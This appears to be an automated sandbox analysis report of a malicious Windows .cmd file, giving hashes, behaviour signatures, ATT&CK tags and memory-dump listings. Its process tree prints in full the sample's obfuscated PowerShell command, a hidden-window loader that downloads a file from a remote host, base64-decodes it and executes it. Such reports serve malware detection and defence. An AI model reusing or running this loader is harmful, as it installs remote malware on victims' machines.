8c5ed8446ba0aaca2368cf30362be21cfcb68c7bc05d552e96ed2e53f2075178

Analysis

max time kernel
146s
max time network
147s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22-02-2025 04:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8c5ed8446ba0aaca2368cf30362be21cfcb68c7bc05d552e96ed2e53f2075178.cmd
Size

4KB
MD5

9c015680e80d65369945208508a403d5
SHA1

7700b6bea5b3721c2bd8c144bbc936d9dad4ae85
SHA256

8c5ed8446ba0aaca2368cf30362be21cfcb68c7bc05d552e96ed2e53f2075178
SHA512

d321e7d44342636ade9864c9d74633b2c62b050ff25da2cce580118e7b0e7958222b10ce6286e7bd01a0d54835ab3a04c47231c32a48bd7c0953283ecfbe64f1
SSDEEP

96:csgfPxToZjN+/wfQLCaMTWJM/mSsYedAACsrgSidAXXkuXhd:k3aAw4L5JMKndAEsbdkkuXhd

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	1808	powershell.exe
6	1808	powershell.exe
7	1808	powershell.exe
8	1808	powershell.exe
9	1808	powershell.exe
10	1808	powershell.exe
11	1808	powershell.exe
12	1808	powershell.exe
13	1808	powershell.exe
14	1808	powershell.exe
15	1808	powershell.exe
16	1808	powershell.exe
17	1808	powershell.exe
18	1808	powershell.exe
19	1808	powershell.exe
20	1808	powershell.exe
21	1808	powershell.exe
22	1808	powershell.exe
23	1808	powershell.exe
24	1808	powershell.exe
25	1808	powershell.exe
26	1808	powershell.exe
27	1808	powershell.exe
28	1808	powershell.exe
29	1808	powershell.exe
30	1808	powershell.exe
31	1808	powershell.exe
32	1808	powershell.exe
33	1808	powershell.exe
34	1808	powershell.exe
35	1808	powershell.exe
36	1808	powershell.exe
37	1808	powershell.exe
38	1808	powershell.exe
39	1808	powershell.exe
40	1808	powershell.exe
41	1808	powershell.exe
42	1808	powershell.exe
43	1808	powershell.exe
44	1808	powershell.exe
45	1808	powershell.exe
46	1808	powershell.exe
47	1808	powershell.exe
48	1808	powershell.exe
49	1808	powershell.exe
50	1808	powershell.exe
51	1808	powershell.exe
52	1808	powershell.exe
53	1808	powershell.exe
54	1808	powershell.exe
55	1808	powershell.exe
56	1808	powershell.exe
57	1808	powershell.exe
58	1808	powershell.exe
59	1808	powershell.exe
60	1808	powershell.exe
61	1808	powershell.exe
62	1808	powershell.exe
63	1808	powershell.exe
64	1808	powershell.exe
65	1808	powershell.exe
66	1808	powershell.exe
67	1808	powershell.exe
68	1808	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1808	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1808	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1808	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2920 wrote to memory of 1808	2920	cmd.exe	31
PID 2920 wrote to memory of 1808	2920	cmd.exe	31
PID 2920 wrote to memory of 1808	2920	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\8c5ed8446ba0aaca2368cf30362be21cfcb68c7bc05d552e96ed2e53f2075178.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "echo $disozonizes; function Dtente($Bagladegevret){$Polycythemic=3;$Experimentee=$Polycythemic;do{$Tempelets+=$Bagladegevret[$Experimentee];$Experimentee+=4} until(!$Bagladegevret[$Experimentee])$Tempelets}function Dengsernes($Stigremmenes){ .($Infer) ($Stigremmenes)}$Lnstop=Dtente 'St nVi ESc TKra.Milw';$Lnstop+=Dtente ' leLanbH.sCOmnlUrpI PieHr n,egt';$Reparteeist=Dtente 'ProMFr oEvaz Bei Vel F l GeaV,l/';$Chromophobia=Dtente ' N.TDemlMa.s Ca1Fl.2';$Pragteksemplarer='Orb[BirNSilEKnoTSys.En s IneVerRcosV MoIT lcEutECorPAmtOaffIFulnLyst SpmMe A U,NHumAPalg QuE ir Si] en:Tot:S osyare H,C ruFr rsliiHjkTFosyUnepNivrB.gOC nTForoBorCFjeOMisLS e=dec$FamcL.nh lar mOHylMHypo ,op KohRetOM,rb TrI BrA';$Reparteeist+=Dtente ' re5Vin.Und0C c kr(FanWgudiMidn RudAkioForwIntsFir GraN SiT Ho Yaw1Sk 0Fri.U i0Gi.;Bol PraWR,giVernFir6Ae 4Tra;Fol P,xPoo6Ma.4 a.;So, Bo,rNatvSik:K v1Ka 3Woo1Egb.Kar0li )O g TubG .re B.cIn.kEntoOu./Sik2Kab0fr.1Fas0clu0Klu1 Ti0 ho1Afl GadFKl iEnjr ye ,efA eoUnfxEks/Pro1Ema3Tau1Gla.Sub0';$Belonidae=Dtente 'Ud u,abSTiaEM,srUge-SonASklG TrES unBint';$Ethologists=Dtente 'OuthBi tErhtSp pFejsFds:Ph,/Bon/S,af ili UdlVegeBygd unMbe. D e BiuFor/ VelOss9Havt foEUniwmygb ,i9Eles Sp6Sola aaKapR pwK k5 F.fSa yProU uiLotaH gC,ax0 SelModfWil/Op Sdi pHesrUn.nBetgOutfViraAcrr Skl ShiAm gSamsRint n2Kon0Aan6For.Dats .gm fyi';$Uskylds168=Dtente 'Thr>';$Infer=Dtente 'SkaiRauE Idx';$deliveror='fordjelsernes';$Blamers='\Forsgsprojekterne.Cir';Dengsernes (Dtente ' ph$TrtGfejlAfhOAt bRataDriLS r:UnssPabo aRB.sTMeleVerrMari VonZ ug ocS Asm,teaPiesStoKUndIDisNFurEubervidNSveePens Da= .a$ R.EExpN ApVVen:.utAFo PSilP AadFanAi.vTvolA an+ Im$UnsbHj.lFreaBoomTroeDo.rSans');Dengsernes (Dtente 'Ark$OlfgLi lSupOLanBSabAoveL Pr:ForSEneaVanm BoMmodEDatN.nssBe.t ndDCocS hiPS mrUpavPa eGovnSt sBol=Str$ opeka tBebhFo o nlRepoVangSwaITriS GutMerSKo .ComsIn pBa lSumIOveTZi (Ana$SlauI pS.arKOveyishlPasdConSdis1 Ka6ker8l n)');Dengsernes (Dtente $Pragteksemplarer);$Ethologists=$Sammenstdsprvens[0];$Experimenteenficbnr15=(Dtente 'T a$Klug V lSprOSkrBS eaEntl.ee: Lae StsTyktBifRSk u Ens SkE nms H.=RelnMusEGasw Hv- UioCriBShojUbeE FeCTafT ol GriSUndY ReS ,vTAf.ECheMfr .Lek$ParLSamn nts,veT seOOmnp');Dengsernes ($Experimenteenficbnr15);Dengsernes (Dtente ' Hu$.ryE,rksDemtkerrKomuS,asCuleri s Ug.ManHF,reDecaOpbdCole,lerSubsInc[B n$ tuBBageTaaladuoNgln ypiFo,dH.raGrueUns] Ue=Bac$PeyRs,se,krpK maMisr,intSwaeIngeBoyiKa s But');$Opinionsdannelserne=Dtente 'alg$DriE UnsAnnt Svr KouOphs le Pas Rd.KonD SuoVasw Tin MilAu o osa,isdR nFHeciReslRaaeS u( Bi$ oELgetBeahAfpoBanlBauoShagIntiD usEu.t FosSta,Kol$Pu LfiraDepnslud cas Z,cH laNonp AleUvircar)';$Landscaper=$Sorteringsmaskinernes;Dengsernes (Dtente 'Oks$ NaGHemlRecOGenb .oAGarl.hu:aromRigOAntBB yCS rABorpTe,3Mil7kje= Dr(RadtKr.EPlasR dT.es-G,aPSonAF rT S HT,i Sal$BjlL Opa .nN CoD PoS fc amATurpco E BeR G.)');while (!$Mobcap37) {Dengsernes (Dtente ' am$ eagTynlCelokorb ydaBlalPce:Pr HBagjTonr.ntnHy eM cp,olugrsnV rkCo treteRett os No=Leu$ dRPiceZele.ncdUdluT xcvela,ort ae') ;Dengsernes $Opinionsdannelserne;Dengsernes (Dtente ' Dis ecTDanaOperNivT or- ,oSCoeLBare neF sPKer I d4');Dengsernes (Dtente 'S d$Si GMillDesOwheb elAMa l eg:be mSu.O anB Sec umAbehPH.k3Cyk7 Is=L e( S,tfriEP.isAkkt am-AnkPP caCoetIkrH Ta Ati$Sk lP oA SpnkatDBegsBorcPreAT rpCorenonrEle)') ;Dengsernes (Dtente 'P.e$PenG.elLAl OA sB.usAR,pL if:fisM Joo orrArbs u iDeanLadgApo=.rd$C.mG JalKiloAntBUnfABliLMul:Intn,olA tozFu,IPrsFSkui.asCCale R r AneTa nReaDagiEDissMod1Gog2Ps 3 on+Fr +Nav%b g$HarsChiAAnom.ham.beeRaaNAceSDumTO.hdhjesV lpBy.RCo,vS aEfunnRefsTra.F.mCHaloPusUBesNObsT') ;$Ethologists=$Sammenstdsprvens[$Morsing]}$Overmodne=86909;$Udkastningens=30192;Dengsernes (Dtente 'Gng$ veG D.LriboRedBEp A KoLNon:PriMMasUComhMicaNo Mco eFagDP rAEpin.iaEDemrSec Ida= el DeGGlaEBektA k-Nigc NuO AlnEnetSukEFornwe tMal Bea$Be LThyaStin SldRgvsSubcYela NoP ,meNo R');Dengsernes (Dtente 'Tur$FargAccl uroMi.bVeraDivlAde:ReaRKlevSque isAmmtvinr,une BagE.esli, dra=K,n B g[KalSEneyTilsud t dePhym No. H CU doToln lsvKine GarFaltFra] ng:Fis: ViF,anr ProForm deBForaSv,sForeSty6su.4TugS SetJ rrRubiPornTo,gcov( R.$AltM Amu ethDi aAngm MaeC ad KoaF rn CeeV arBr )');Dengsernes (Dtente ' os$ PaGTynL,upOi tB J a hiLSel:EndS .kV RgIpenrEskP flEN cs Pe Pyn=Wee sk[rhasEnlY ydSL pTMaleUdtmGos.BastTile spX.edtCan.NikeBranRaicBruOProd NeIC qNF,ag Ch]Sne:Mon:UntaSmisS ic Api erI ,a.H,uGNe EHorT.orSWintconRFeji agNBe,gUna( t$m rREneV FsERe SUnctPitRJ reKenG SisDen)');Dengsernes (Dtente 'coc$TeqGDeml jroC sbopvA ntl hr:S.nmSa oFaldComURanlK.rUKrod.anl poE FojStanEmbIgobNS.tgJ mELngN CosVar= Gu$DurSJonVmasiAgaRKodpSupEBu sLat. ClsRiduPolbWeeS.uaT harSnkI D NNavgTln(Ore$La o.ncvtaeeApoR K.mradOstudPranDedeL.v, t$SprUForDI dk Tea Kas Get UnnTonIF,rNF ag.riePasNSkoSVel)');Dengsernes $Moduludlejningens;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1808-4-0x000007FEF558E000-0x000007FEF558F000-memory.dmp

Filesize
4KB

Download
memory/1808-5-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/1808-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/1808-8-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/1808-7-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/1808-9-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/1808-10-0x000007FEF558E000-0x000007FEF558F000-memory.dmp

Filesize
4KB

Download
memory/1808-11-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download